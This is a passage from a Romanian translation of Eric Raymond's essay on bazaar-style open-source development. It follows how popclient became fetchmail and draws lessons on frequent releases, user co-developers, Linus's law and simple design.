Dupa ce am trimis primul set de corecturi la popclient la Carl Harris pe 25 iunie 1996, am aflat ca el isi pierduse de ceva timp interesul pentru popclient. Code-ul era putin prafuit, cu bug-uri minore. Am avut de facut multe schimbari si am cazut de acord ca logic era sa preiau eu programul.

Fara sa bag de seama, proiectul crescuse. Nu ma mai gindeam numai la schimbari minore la un POP client existent. M-am angajat la crearea unuia intreg si imi forfoteau idei in cap care ar fi dus probabil la schimbari majore.

Intr-o cultura soft care incurajeaza code-shearing-ul, asta este modul natural de evolutie al unui proiect. Mergeam pe ideea:

Daca ai atitudinea corecta, te vor gasi probleme interesante.

Dar atitudinea lui Carl Harris a fost chiar mai importanta. El a inteles ca:

Atunci cind iti pierzi interesul pentru un program, ultima ta datorie fata de el
este sa-l predai unui succesor competent

Fara sa discutam vreodata despre asta, Carl si eu stiam ca avem scopul comun de a gasi cea mai buna solutie. Singura intrebare pentru fiecare dintre noi era daca eu puteam dovedi ca intra pe miini bune. Odata ce am facut-o, el a reactionat cu eleganta si promptitudine. Sper ca si eu voi reactiona la fel cind imi va veni rindul.

3. Importanta de a avea useri

Si asa am mostenit popclient. La fel de important, am mostenit baza de useriai popclient. E minunat sa ai useri si nu numai pentru ca demonstreaza ca satisfaci o nevoie, ca faci ceva bine. Corect tratati, pot deveni co-developeri.

O alta forta a traditiei Unix, si din nou una pe care Linuxul o impinge la o extrema fericita, este aceea ca multi useri sint si hackeri – si pentru ca sursa code este la indemina, ei pot fi hackeri efectiv. Asta poate fi extrem de folositor pentru scurtarea timpului de debugging. Cu putine incurajari, userii vor gasi probleme, vor sugera solutii si vor ajuta la imbunatatirea code-ului mult mai repede decit ai putea fara ajutor.

Sa-ti tratezi userii ca co-developeri este cea mai comoda cale catre
ameliorarea rapida a code-ului shi debugging-ul eficient

Puterea acestui efect poate fi usor subestimata. Intr-adevar, cam toti din lumea free-softului am subestimat drastic cit de bine se poate creste cu numarul de useri si contra complexitatii sistemului pina cind ne-a demonstrat Linuxul ca ne inselam.

Intr-adevar, cred ca partea cea mai desteapta, determinanta, a Linuxului nu a fost constructia kernel-ului, ci mai curind inventarea modelului de dezvoltare. Cind mi-am exprimat aceasta opinie in prezenta lui, a zimbit si a repetat ceva ce spunea frecvent: “Sint structural o persoana foarte lenesa careia ii place sa culeaga meritele de pe urma unor lucruri pe care de fapt le fac altii”. Lenes ca o vulpe. Sau, cum ar fi putut spune Robert Heinlein, prea lenes pentru a rata.

Retrospectiv, un precedent al metodelor si succesului Linuxului poate fi vazut in dezvoltarea librariei GNU Emacs Lisp si arhivelor Lisp code. Spre deosebire de stilul “catedrala” al nucleului Emacs C si al majoritatii celorlalte FSF tools, evolutia Lisp code a fost fluida si condusa de useri. Idei si prototipuri au fost rescrise frecvent de 3-4 ori inainte de a obtine o forma finala stabila. Si colaborari laxe-asociate, permise de Internet, au fost frecvente.

Intr-adevar, cel mai bun hack facut de mine inainte de fetchmail a fost probabil stilul Emacs VC, o colaborare similara Linuxului prin email cu alte 3 persoane, dintre care pina astazi am intilnit numai una (Richard Stallman).A fost un front-end pentru SCCS, RCS si, mai tirziu, CVS din cadrul Emacs care oferea operatii de controlul versiunilor “one-touch”. A evoluat dintr-un sccs.el mode mic, brut, scris de altcineva. Si VC s-a dezvoltat pentru ca, spre deosebire de Emacs, Emacs Lisp code a putut trece prin generatii de release/test/imbunatatire foarte repede.

(Un efect secundar neasteptat al politicii FSF de a incerca sa adauge code in GPL este acela ca devine procedural mai greu pentru FSF sa foloseasca stilul bazar, intrucit cred ca trebuie sa obtina copyright pentru fiecare contributie individuala din mai mult de 20 de linii pentru a asigura GPLed code de pretentii asociate legii copyrightului. Userii BSD si MIT X . Licentele consortiilor nu au aceasta problema intrucit ei nu incearca sa rezerve drepturi pe care cineva ar putea sa le ceara.)

4. “Release” devreme si des

Release-urile cit mai devreme si mai des sint o parte esentiala a modelului de dezvoltare Linux. Majoritatea developerilor (inclusiv eu) credeau ca este o politica proasta pentru proiecte mai mari pentru ca primele versiuni sint, prin definitie, pline de bugguri si nu se doreste exasperarea userilor.

Aceasta idee a intarit angajarea in stilul de dezvoltare “catedrala”. Daca obiectivul final era ca userii sa gaseasca cit mai putine bugguri, de ce sanu existe un release la 6 luni (sau mai rar) si intre release-uri sa muncestica un ciine la debugging. Asa a fost dezvoltat Emacs C. Libraria Lispnu – pentru ca erau arhive Lisp active in afara controlului FSF, unde puteai gasi versiuni code noi, dezvoltate independent de ciclul de release al Emacs.

Cea mai importanta dintre acestea, arhiva Ohio State elisp, a anticipatspiritul si multe din caracteristicile arhivelor Linux de azi. Dar putini s-au gindit intr-adevar la ce faceam sau la ce sugera chiar existenta acelei arhive despre problemele din modelul de dezvoltare “catedrala” din FSF. Am facut o incercare serioasa prin 1992, sa obtin mult din acest code in libraria oficiala Emacs Lisp. Am intrat intr-o problema de politica si n-am avut nici un succes.

Dar un an mai tirziu, cind Linuxul a devenit vizibil pe scara larga, a devenit clar ca acolo se petrecea ceva diferit si mult mai sanatos. Politica de dezvoltare deschisa a lui Linus era exact opusul stilului “catedrala”. Sunsite-ul si arhivele tsx-11 cresteau, erau lansate distributii multiple. Si totul era condus de o frecventa de release nemaiauzita.

Linus isi trata userii ca fiind co-developeri in modul cel mai eficient posibil:

Release devreme. Release frecvent. Si asculta-ti clientii.

Inovatia lui Linus nu a constat atit din idee in sine (ceva asemanator era traditia lumii Unix de mult timp), ci din aducerea ei la o intensitate care se potrivea cu complexitatea proiectului pe care il dezvolta. La inceput nu era neobisnuit sa dea mai mult de un nou kernel release pe zi! Si, pentru ca si-a cultivat baza de co-developeri si utiliza internetul mai mult decit oricine altcineva pentru colaborari, a functionat.

Dar cum a functionat ? Si era ceva ce puteam face si eu, sau se baza pe geniul unic al lui Linus ?

Nu credeam. Cu siguranta, Linus e un hacker al naibii de bun (citi dintre noi ar putea constitui un intreg OS kernel productie-calitate ?). Dar Linux nu reprezenta nici un salt uimitor inainte. Linus nu este (sau cel putin nu inca) un geniu inovativ de genul Richard Stallman sau James Gosling. Linus mi se pare mai curind un geniu al inginerie, cu un al saselea simt in evitarea bugurilor si liniilor moarte in dezvoltare si un adevarat talent in a gasi calea cea mai usoara de la A la B. Intr-adevar, intregul design al Linuxului degaja aceasta calitate si oglindeste stilul lui Linus esential conservator si simplificator.

Deci, daca release-uri rapide si utilizarea Internetului la maxim nu erau accidente, ci parti integrale ale stilului lui Linus genial de a gasi calea cea mai usoara, ce amplifica ? Ce pusese el la lucru ?

Pusa astfel, intrebarea contine raspunsul. Linus isi tinea hacker/user-ii stimulati si rasplatiti permanent – stimulati prin perspectiva de a avea o parte a lor sa le satisfaca ego-ul, rasplatiti prin urmarirea imbunatatirilor(chiar zilnic) a muncii lor.

Linus tintea direct la maximalizarea numarului de persoane-ore ocupate cu debuggingul si dezvoltarea, chiar cu posibilul pret al instabilitatii in code si baza de useri epuizati in cazul in care un bug serios se dovedea nerezolvabil. Linus se comporta ca si cum ar fi crezut ceva de genul:

Cu o baza de beta-testeri si co-developeri suficient de mare, aproape orice problema va fi gasita rapid si va avea o solutie evidenta pentru cineva.

Sau, mai putin formal, “cu destui ochi, toate bugurile sint reduse”. Asta numesc “legea lui Linus”

Formularea mea initiala a fost ca orice problema “va fi transparenta pentru cineva”. Linus a constatat ca persoana care intelege si rezolva o problema nu este obligatoriu, nici macar de obicei, cea care o gaseste. El spune “Cineva gaseste problema si altcineva o intelege. Si sustin ca gasirea ei este cea mai mare provocare”. Dar important este ca totul se intimpla repede.

Aici, cred eu, este diferenta esentiala intre stilurile “catedrala” si “bazar”. In stilul catedrala, bugurile si problemele de dezvoltare sint inselatoare, ascunse, profunde. Este nevoie de luni de cautari ale putinilor developeri pentru a crede ca toate au fost eliminate. De aici rarele release-uri si dezamagirea inevitabila atunci cind release-urile mult asteptate nu sint perfecte.

In stilul “bazar”, pe de alta parte, presupui ca bugurile sint reduse, sau, cel putin, se reduc foarte repede cind sint prezentate miilor de co-developeri care asteapta nerabdatori fiecare nou release. Asa, apare efectul benefic al corecturilor frecvente si e mai putin de pierdut daca accidental iese o gafa.

Si asta este. Ajunge. Daca “legea lui Linus” e falsa, atunci nici un sistem complex ca kernel-ul Linux, modificat de atitea miini, ar fi trebuit sa se prabuseasca sub greutatea unor interactiuni proaste si unor buguri nedescoperite, ascunse. Pe de alta parte, daca e adevarata, e suficienta pentru a explica lipsa relativa de buguri din Linux.

Si poate n-ar fi trebuit sa fie asa o surpriza. Sociologii au descoperit cu ani in urma ca opinia medie a maselor de observatori la fel de experte (sau ignorante) e un factor de predictie mai bun decit un observator ales aleator.Au numit asta “efectul Delphi”. Se pare ca Linus a aratat ca se aplica si debugging-ului unui OS – ca efectul Delphi explica complexitatea dezvoltarii chiar la nivelul complexitatii unui OS kernel.

Ii sint dator lui Jeff Dutky dutky@wam.umd.edu[1] pentru ca a aratat ca legea lui Linus poate fi reformulata ca “debugging-ul este paralelizabil”. Jeff observa ca desi pentru debugging este necesar ca debuggerii sa comunice cu un developer coordonator, nu este necesara o coordonare semnificativa intre debuggeri. Astfel nu mai este atit de greu si nu mai are costuri atit de mari de management sa adaugi developeri.

In practica, pierderea teoretica de eficienta datorata duplicarii muncii debuggerilor, nu pare sa fie o problema aproape niciodata in lumea Linux. Un efect al “politicii release-urilor devreme si des” este acela de a minimaliza aceasta duplicare, propagind feed-back rapid cu corecturile.

Brooks a facut chiar o observatie legata de a lui Jeff: “Costul total de intretinere a unui program larg folosit este de obicei 40% sau mai mult din costul dezvoltarii lui. Surprinzator, acest cost este puternic afectat de numarul de useri. Mai multi useri gasesc mai multe buguri”. (concluzia mea)

Mai multi useri gasesc mai multe buguri deoarece userii aduc moduri diferite de utilizare a sistemului. Acest efect este amplificat atunci cind userii sint co-developeri. Fiecare abordeaza sarcina de gasire a bugurilor cu instrumente usor diferite conceptual si analitic, un unghi diferit de abordare al problemei. “Efectul Delphi” pare sa functioneze tocmai datorita acestei variatii. In contextul specific al debugging-ului, variatia tinde si sa scada duplicarea efortului.

Asa ca adaugarea de beta-testeri nu reduce complexitatea bugului “cel mai adinc” din P.O.V.-ul developerului, dar creste probabilitatea ca uneltele cuiva sa se potriveasca problemei astfel incit bugul este mic pentru acea persoana.

Linus amelioreaza si el solutiile. In cazul in care exista buguri serioase, versiunile de linux astfel incit userii pot alege intre ultima varianta declarata “stabila” sau sa se aventureze pe marginea prapastiei cu riscul bugurilor pentru a obtine caracteristici noi. Aceasta tactica nu este preluata formal de majoritatea hackerilor, dar poate ar trebui preluata; faptul ca ambele variante sint accesibile le face mai atractive pe amindoua.

5. Cind un trandafir nu este un trandafir ?

Studiind comportamentul lui Linus si creind o teorie asupra succesului lui, am luat decizia constienta de a testa aceasta teorie cu noul meu proiect (sigur mult mai simplu si mai putin ambitios).

Dar primul lucru pe care l-am facut a fost sa reorganizez si sa simplific mult popclient. Implementarea lui Carl Harris a fost foarte solida, dar prezenta un fel de complexitate nenecesara, comuna multor programatori C. El a tratat code-ul ca centru si structurile de date ca suport pentru code. Astfel, code-ul era frumos, dar designu-ul structurii de date era ad-hoc si detul de urit (cel putin dupa standardele inalte ale acestui batrin LISP
hacker).

Totusi am avut si alt scop rescriind, in afara imbunatatirii code-ului si design-ului structurii de date. Acela de a evolua la ceva ce intelegeam complet. Nu merge sa fii responsabil de repararea bugurilor intr-un program pe care nu-l intelegi.

Cam o luna a urmat pur si simplu implicatiile design-ului de baza al lui Carl. Prima schimbare serioasa pe care am facut-o a fost sa adaug suport IMAP. Am facut-o reorganizind protocolul intr-un driver generic si trei tabele de metode (pentru POP2, POP3 si IMAP). Asta si schimbarile anterioare ilustreaza un principiu general la care programatorii ar face bine sa se gindeasca, mai ales in limbaje ca C, care normal nu scriu dinamic:

Structuri de date destepte si code prost merg mult mai bine decit invers.

Din nou Fred Brooks, capitolul 11: “Arata-mi [code] si ascunde [data structures], si voi continua sa ma insel. Arata-mi [data structures] si in mod normal nu voi avea nevoie de [code]; va fi evident.” De fapt, el a spus “flowcharts”si “tables”. Dar tinind cont de cei 30 de ani de schimbari terminologice si culturale, e cam acelasi lucru.

In acel moment (la inceputul lui septembrie 1996, dupa 6 saptamini) am inceput sa ma gindesc ca ar tebui schimbat numele – la urma urmei, nu mai era doar POP client. Dar am ezitat pentru ca nu era nimic absolut nou in design. Versiunea mea de popclient trebuia sa-si dezvolte o identitate proprie.

Problema s-a schimbat radical atunci cind fetchmail a invatat ca ms trimite mailul la portul SMTP. Ajung la asta imediat. Inainte: am spus mai sus ca ma hotarisem sa folosesc acest proiect pentru a-mi testa teoria despre ce facuse corect Linus Torvalds. Cum (ati putea intreba) am facut-o ? Astfel:

  • Release devreme si des (aproape niciodata mai rar de 10 zile; in perioadele de dezvoltare intensa, o data pe zi)
  • Am marit lista beta adaugind pe toti cei care ma contactasera in legatura cu fetchmail
  • Am trimis anunturi chat la cei de pe lista beta la fiecare release, incurajind lumea sa participe
  • Am ascultat beta-testerii, intrebindu-i in legatura cu deciziile de design si raspunzind oricind trimiteau raspunsuri si sugestii

Rasplata acestor masuri simple a fost imediata. Inca de la inceputul proiectului, am primit atentionari de buguri de o calitate pentru care majoritatea developerilor ar fi facut orice, frecvent cu solutii bune atasate. Am primit critici constructive, mail de la cei carora le-a placut, sugestii inteligente asupra caracteristicilor. Ceea ce duce la :

Daca iti tratezi beta-testerii ca pe cea mai valoroasa resursa, vor
raspunde devenind cea mai valoroasa resursa.

O masura interesanta a succesului fetchmailului este simpla marime a listei beta a proiectului, prietenii fetchmail. In timpul scrierii are 249 membri
si creste cu 2-3 pe saptamina.

Acum, cind revad lista la sfirsitul lui mai 1997, lista incepe sa scada dintr-un motiv interesant. Mai multi membri mi-au cerut sa-i scot de pe lista pentru ca fetchmail merge atit de bine din punctul lor de vedere incit nu mai au nevoie sa vada evolutia! Poate ca asta este ciclul normal de viata al unui proiect matur in stilul bazar.

6. Popclient devine Fetchmail

Adevarata rascruce a proiectului a fost atunci cind Harry Hochheiser mi-a trimis code-ul lui pentru trimiterea mailului la portul SMTP al clientului. Am inteles imediat ca o implementare sigura a acestei caracteristici ar face ca toate celelalte moduri de trimitere sa fie aproape nesemnificative.

Multe saptamini am facut mici modificari la fetchmail, simtind ca designul interetei era comod, dar neslefuit – neelegant si cu prea multe optiuni aparind peste tot. Optiunile de a pune mailul intr-un mailbox sau output standard ma deranjau in mod special, dar nu-mi dadeam seama de ce.

Ce am inteles cind m-am gindit la forward SMTP a fost ca popclient incercase sa faca prea multe. Fusese conceput sa fie atit un agent de transport pentru mail (MTA) cit si agent de distributie local (MDA). Cu forwardul SMTP, putea sa nu mai fie MDA, ci MTA pur, transmitind mailul altor programe pentru
livrare locala, exact ca sendmail.

De ce sa te incurci cu configurarea complexa a agentului de livrare a mailului sau sa aranjezi lock-and-append la mailbox cind portul 25 e garantat oricum aproape la orice sistem cu TCP/IP ? Mai ales atunci cind inseamna ca mailul luat este garantat sa apara ca mail initiat normal de cel
care trimite mail SMTP, ceea ce vroiam de fapt.

Sint mai multe lectii aici. In primul rind, ideea acestui SMTP-forwarding a fost cea mai mare recompensa independenta pe care am primit-o din incercarea de repetare constienta a metodelor lui Linus. Un user mi-a dat o idee minunata – tot ce trebuia sa fac era sa inteleg consecintele.

Cel mai bun lucru dupa a avea idei bune este sa recunosti ideile bune ale
userilor. Uneori mai tirziu e mai bine.

Destul de interesant, afli destul de repede ca daca esti complet sincer in ceea ce priveste cit datorezi celorlalti, toata lumea te va trata ca si cum ai fi facut tu absolut totul si esti modest in ceea ce priveste genialitatea ta. Puteti vedea cit de bine a mers in cazul lui Linus!

(Cind am prezentat aceasta lucrare la conferinta Perl din august 1997, Larry Wall statea in primul rind. Cind am ajuns la ideea asta, a strigat intr-un
stil revigorant “spune, spune, frate!”. Tot publicul a ris pentru ca stiau ca a mers si pentru inventatorul Perl-ului.)

Si dupa citeva saptamini de conducere a proiectului in acelasi stil, am inceput sa primesc aceeasi recunostere nu numai de la useri, ci si de la cei
care au aflat despre el. Am pus de-o parte ceva din emailul ala; ma voi uita la el daca vreodata ma voi intreba daca am facut ceva in viata );.

Dar sint doua lectii mai importante, non-politice, valabile pentru orice fel de design.

Solutiile cele mai izbitoare si novatoare apar din intelegerea faptului ca
conceptul initial a fost gresit.

Am incercat sa rezolv o problema gresita continuind sa dezvolt popclient ca o combinatie MTA/MDA cu tot felul de moduri de livrare ciudate. Designul fetchmailului trebuia regindit de la inceput ca MTA pur, o parte a SMTP normal.

Cind te lovesti de un zid in dezvoltare – cind te trezesti in dificultate gindindu-te ce vei face mai departe – este momentul sa te intrebi daca intrebarea e corecta, nu daca raspunsul e corect. Poate ca problema trebuie reformulata.

Ei bine, mi-am reformulat problema. Evident, ce trebuia facut era (1) transformarea suportului de forward SMTP intr-un driver generic, (2) crearea unui default mode si (3) eventual aruncate celelalte moduri de livrare, mai ales optiunile de livrare la file si standard output.

Am ezitat ceva timp in ceea ce priveste (3), temindu-ma sa nu supar useri vechi de popclient care depindeau de mecanisme alternative de livrare. Teoretic, puteau trece imediat la forward file sau la echivalente non-sendmail pentru a obtine ceva. Practic, tranzitia putea fi problematica.

Dar cind am facut-o, beneficiile s-au dovedit enorme. Partile cele mai greoaie din driver code au disparut. Configurarea a devenit mult mai simpla – gata cu tatonarea pentru MDA si mailboxul userului, gata cu grijile legate de posibilitatea OS-ului de a suporta file locking.

De asemenea a disparut singura cale prin care se putea pierde mail. Daca specificai livrarea la anume file si discul se umplea, mailul se pierdea. Nu se poate intimpla cu SMTP forwarding pentru ca SMTP listener nu raspunde OK decit daca mesajul poate fi livrat sau macar pastrat pentru a fi livrat mai tirziu.

De asemenea, s-au imbunatatit performantele (n-ai crede ca se vede din prima). Alt beneficiu semnificativ a fost ca pagina-manual a devenit mult mai simpla.

Mai tirziu, a trebuit sa permit livrarea printr-un MDA local specificat de user pentru a rezolva situatii ciudate legate de SLIP dinamic. Dar am gasit o metoda mult mai simpla de rezolvare.

Morala ? Nu ezita sa arunci caracteristici supraspecializate cind te poti descurca fara ele, fara sa pierzi eficienta. Antoine de Saint-Exupery (pilot si contructor de avioane cind nu era autor de carti clasice pentru copii) spunea:

“Perfectiunea (in design) este atinsa nu atunci cind nu mai ai ce adauga,
ci mai curind atunci cind nu mai ai ce elimina.”

Cind code-ul devine atit mai bun cit si mai simplu, atunci stii ca este corect. Si pe parcurs, fetchmail a dobindit o identitate proprie, diferita
de popclientul initial.

Era momentul sa se schimbe numele. Noul design arata mai mult ca dual de sendmail decit arata vechiul popclient; ambele sint MTA, dar in timp ce sendmail impinge apoi livreaza, popclient trage apoi livreaza. Deci, dupa 2 luni, l-am numit fetchmail.

7. Fetchmail creste

Aveam un design curat si novator, code care mergea bine, stiam asta pentru ca il foloseam in fiecare zi, si aveam o lista beta infloritoare. Mi-am dat seama treptat ca nu mai lucram la un program personal care ar fi putut folosi, intimplator, si altora. Aveam un program de care avea intr-adevar nevoie orice hacker cu Unix box si conexiune de mail SLIP/PPP.

Cu caracteristica de forward SMTP, a trecut destul de departe in fruntea competitiei celor care ar putea deveni “category killer”, unul din programele clasice care isi ocupa locul atit de bine incit alternativele nu numai ca sint discreditate, sint chiar uitate.

Cred ca n-as putea tinti sau planui un astfel de rezultat. Trebuie sa fii tras acolo prin idei atit de puternice incit rezultatele ulterioare par inevitabile, naturale, chiar predestinate. Singura cale de a cauta astfel de idei este sa ai foarte multe idei – sau sa ai capacitatea de a duce ideile altora dincolo de limitele gindite de cei de la care au pornit.

Andrew Tanenbaum a avut ideea de a construi un Unix simplu pentru 386, ca unealta de invatare. Linus Torvalds a impins conceptia Minixului dincolo de
ce crezuse Andrew ca ar putea face – si s-a transformat in ceva minunat. La fel (la o scara mai mica), am luat idei ale lui Carl Harris si Harry Hochheiser si le-am impins cu putere. Niciunul dintre noi nu a fost “original” in felul romantic in care este conceput geniul. Dar, pe de alta parte, cea mai mare parte a dezvoltarii in stiinta, inginerie si soft nu apare de la un geniu original, mit al domeniului, ci dimpotriva.

Rezultatele erau totusi de frunte – de fapt, succesul pentru care traieste orice hacker! Si asta insemna ca trebuia sa-mi ridic standardele chiar mai mult. Pentru a face fetchmailul atit de bun pe cit vedeam acum ca putea fi, trebuia sa tin cont nu numai de necesitatile mele, ci sa includ si necesitatile celor din afara cercului meu. Si s-o fac mentinind programul simplu si robust.

Prima si de departe cea mai importanta trasatura pe care am scris-o dupa ce am inteles asta a fost un suport multidrop – abilitatea de a prelua mailul de la mai multe mailboxes si sa-l adun de la un grup de useri, apoi sa trimit fiecare mail la destinatarul individual.

Am hotarit sa adaug acest suport in parte pentru ca unii useri il doreau, dar in principal pentru ca credeam ca voi scapa de buguri fortindu-ma sa ma descurc cu orice fel de adresare. Si asa a fost. Pentru a aranja RFC822 parsing mi-a trebuit foarte mult timp, nu din cauza ca partile sint grele, ci pentru ca implica o groaza de amanunte importante si interdependente.

Dar si designul acesta s-a dovedit a fi o decizie excelenta. Iata cum am stiut:

Orice utilitar ar trebui sa fie folositor dupa cum se asteapta de la el, dar unul foarte bun se arata folositor cum nu te-ai fi asteptat

Utilitatea neasteptata pentru multi-drop fetchmai este utilizarea listelor de mail pastrind lista, folosind extensia de alias, pe conexiunea SLIPP/PPP de partea userului. Asta inseamna ca cineva care isi folosea computerul personal credea ca o conexiune ISP poate da lista de mail fara continuarea accesului la aliasurile ISP-ului.

Alta schimbare importanta ceruta de beta-testerii mei a fost cea de suport pentru 8-bit MIME operation. Asta era destul de usor de facut pentru ca am avut grija sa pastrez code-ul 8-bit curat. Nu pentru ca anticipasem cererea, ci mai curind urmind o alta regula:

Cind scrii gateway software de orice fel, straduieste-te sa tulburi curentul de date cit mai putin – si niciodata nu arunca informatii cu exceptia cazului in care esti obligat.

Daca nu urmam aceasta regula, suportul 8-bit MIME ar fi fost dificil si plin de buguri. Asa, tot ce trebuia sa fac era sa citesc RFC 1652 si sa adaug o parte foarte mica de header-generation logic.

Unii useri europeni m-au pisat sa adaug o optiune de limitare a numarului demesaje luate per sesiune (astfel incit ei sa poata controla preturile din retelele lor telefonice scumpe). M-am opus mult timp si nici acum nu sint multumit cu ideea. Dar daca scrii pentru lume, trebuie sa-ti asculti clientii – si asta nu se schimba numai pentru ca nu te platesc cu bani.

8. Inca citeva lectii de la Fetchmail

Inainte de a ne intoarce la probleme generale de conceperea softlui, sint citeva lectii mai specifice de evaluat din experienta fetchmail.

Sintaxa rc file include cuvinte-cheie “zgomotoase” optionale, care sint complet necunoscute sistemului de analiza gramaticala. Sintaxa similara limbii engleze pe care o permite e mult mai usor citibila decit asocierea clasica cuvint cheie-valoare ce ramine dupa ce le elimini.

A inceput ca un experiment noaptea tirziu cind am observat cite din rc file declarations incepeau sa semene unui minilimbaj imperativ. (Tot din aceasta
cauza am schimbat cuvintul-cheie “server”, original din popclient cu “poll”).

Mi se parea ca folosirea acestui limbaj imperativ ar fi mai usoara daca as incerca sa-l fac mai asemanator cu engleza. Desi sint partizan convins al scolii de design “fa-l limbaj”, dupa cum se vedela Emacs si HTML si multe utilitare pentru baze de date, in mod normal nu sint fan al sintaxelor “English-like”.

Programatorii traditionali au avut tendinta sa favorizeze sintaxe de control foarte precise si compacte si care n-au deloc redundanta. Asta este o
mostenire culturala de pe vremea cind resursele pentru computere erau mici, asa ca fazele de analiza gramaticala trebuiau sa fie cit mai simple si mai
mici consumatoare posibil. Engleza, cu o redundanta de aproximativ 50%, parea atunci un model foarte nepotrivit.

Dar nu asta este motivul meu de a nu adopta sintaxe English-like; l-am mentionat numai pentru a-l elimina. Cu programe mici consumatoare, concizia
nu ar trebui sa fie esentiala. Astazi e mai important ca un limbaj sa fie convenabil pentru oameni decit sa consume putin din resursele computerului.

Totusi, exista motive serioase pentru a fi econom. Unul este costul complexitatii fazei de analiza – nu se doreste sa ajunga sursa semnificativa de buguri si confuzie pentru user. Altul este faptul ca incercarea de a face o sintaxa a limbajului English-like necesita o “engleza” intr-o forma foarte proasta, astfel incit asemanarea aparenta cu limba naturala devine la fel de confuza cum fusese sintaxa traditionala. (Se vede intr-o multime de 4GL-uri si limbaje de cautare pentru baze de date comerciale.)

Sintaxa de control a fetchmailului pare sa evite aceste probleme pentru ca domeniul de limba este foarte mic. Nu e nici pe departe un limbaj pentru scopuri generale; ceea ce spune simplu nu e foarte complicat, deci exista un potential mic de confuzie prin trecerea mentala de la un mic subset de engleza la limba actuala. Cred ca este o lectie mai larga aici:

Cind limbajul nu se apropie nici pe departe de Turing-complete, zaharul sintactic iti poate fi prieten.

Alta lectie este despre securitate prin obscuritate. Unii useri fetchmail mi-au cerut ca schimb softul pentru a pune parole criptate in rc file, astfel incit cei care-si baga nasul sa nu poata sa le vada intimplator.

N-am facut-o, pentru ca nu creste intr-adevar gradul de protectie. Oricine a primit permisiunea sa-ti citeasca rc file va putea rula fetchmail ca si tine oricum – si daca vrea parola ta, va putea sa gaseasca ce-i trebuie pentru decodare in insusi code-ul fetchmail.

Orice criptare de parola fetchmailirc ar fi dat un fals sentiment de securitate celor care nu se gindesc foarte bine. Regula generala este:

Un sistem de securitate e atit de sigur pe cit e de secret. Fereste-te de pseudo-secrete.

9. Preconditii necesare pentru stilul bazar

Primele critici si teste de audienta pentru aceasta lucrare au ridicat intrebari legate de preconditiile dezvoltarii bune in stil bazar, inclusiv calificarea conducatorului de proiect si statusul code-ului in momentul in care devine public si incepe sa incerce constructia unei comunitati de co-developeri.

E destul de clar ca nu se poate construi de la zero in stilul bazar. Se poate testa, se pot elimina bugurile si se poate imbunatati in stilul bazar, dar ar fi foarte greu sa incepi un proiect in stilul bazar. Linus n-a incercat. Nici eu. Comunitatea de developeri in formare are nevoie de ceva ce merge si poate fi testat pentru a se juca.

Cind incepi constructia comunitatii, ceea ce trebuie prezentat este o promisiune plauzibila. Programul nu trebuie sa mearga prea bine. Poate fi aspru, plin de buguri, incomplet si prost documentat. Ceea ce nu trebuie ratat este convingerea potentialilor co-developeri ca programul poate evolua in ceva foarte misto intr-un viitor previzibil.

Linux si fetchmail au iesit amindoua cu design de baza puternic si atractiv. Multi din cei care s-au gindit la modelul bazar prezentat de mine au considerat acest lucru ca fiiind critic, de unde au ajuns la concluzia ca pentru proiect este indispensabil un conducator cu un grad mare de intuitie si istetime in design.

Dar Linus si-a luat designul de la Unix. Eu l-am luat pe al meu initial de la popmail (desi ulterior s-a schimbat mult, mult mai mult proportional vorbind decit Linuxul). Deci trebuie neaparat ca leaderul sa aiba un talent exceptional sau il poate prelua de la altii ?

Nu cred ca este neaparat necesar sa fie un coordonator capabil sa creeze designuri exceptionale, dar este neaparat necesar sa fie in stare sa recunoasca ideile bune in design ale altora.

Atit proiectul Linux cit si fetchmail au evidentiat asta. Linus, in timp ce nu era (dupa cum am discutat) un designer spectaculos, a dovedit un fler puternic in a recunoaste un design bun si a-l introduce in kernelul Linux. Si eu am spus deja ca cea mai buna idee de design in fetchmail (SMTP forwarding) a venit de la altcineva.

Primii cititori ai acestei lucrari m-au laudat sugerind ca am tendinta sa subevaluez originalitatea designului proiectelor in stilul bazar pentru ca eu sint foarte talentat si de-asta tind s-o consider de la sine inteleasa. S-ar putea sa fie ceva adevarat; designul (contrar programarii sau eliminarii bugurilor) este cu siguranta cel mai mare talent al meu.

Dar problema in a fi destept si original in designul softului este ca devine un obicei – incepi reflex sa faci lucruri dragute si complicate cind ar
trebui sa le pastrezi simple si robuste. Am ratat proiecte din aceasta cauza, dar am reusit sa n-o fac cu fetchmail.

Deci cred ca proiectul fetchmail a reusit in parte pentru ca mi-am infrint tendinta de a fi destept; asta este un argument (cel putin) impotriva ideii
ca originalitatea designului este esentiala pentru proiectele in stil bazar. Si ginditi-va la Linux. Presupunind ca Linus Torvalds incercase sa aduca
inovatii fundamentale in designul OS in timpul dezvoltarii; pare probabil ca kernelul rezultat sa fie atit de stabil si de bun pe cit este ?

Sigur ca este necesar un anumit nivel in design si programare, dar cred ca toti cei care s-ar gindi serios sa lanseze un astfel de proiect ar depasi limita minima. Piata interna a comunitatii free-software exercita o presiune subtila asupra oamenilor sa nu se lanseze in eforturi de dezvoltare pe care nu le pot sustine in continuare. Pina acum se pare ca a mers destul de bine.

Exista un alt fel de talent, care in mod normal nu e asociat cu dezvoltarea softului, pe care il consider la fel de important pentru proiectele stil bazar ca si istetimea in design – si ar putea fi chiar mai important. Un coordonator de proiect trebuie sa aiba capacitatea de a comunica cu oamenii bine.

Ar trebui sa fie evident. Pentru a construi o comunitate de dezvoltare, trebuie sa atragi oamenii, sa-i interesezi in ceea ce faci si sa-i mentii multumiti in legatura cu cantitatea de effort pe care o depun. Realizarea tehnica va face mult in acest scop, dar nu e nici pe departe tot. Conteaza si personalitatea pe care o proiectezi.

Nu este o coincidenta ca Linus e un tip simpatic care ii transforma pe oameni si ii face sa vrea sa-l ajute. Nu e o coincidenta ca eu sint un extrovertit energic caruia-i place sa munceasca in multime si are ceva din prezenta si instinctul unui comic de marca. Pentru ca modelul bazar sa mearga, ajuta enorm sa ai un cit de mic talent sa farmeci oamenii.

10. Contextul social al Free Software

E adevarat ce se spune: cele mai bune programe incep ca solutie la problemele personale, de fiecare zi, ale autorului si se raspindesc pentru ca problemele se dovedesc a fi tipice pentru o mare categorie de useri. Asta ne duce inapoi la regula 1, reformulata intr-un mod mai folositor probabil:

Pentru a rezolva o problema interesanta, incepe prin a gasi o problema
care te intereseaza

Asa a fost cu Carl Harris si popclient, asa a fost si cu mine si fetchmail. Dar asta s-a inteles de mult timp. Partea interesanta, cea asupra careia Linux si fetchmail par sa ne ceara sa ne concentram, este etapa urmatoare – evolutia softului in prezenta unei comunitati mari si active de useri si co-developeri.

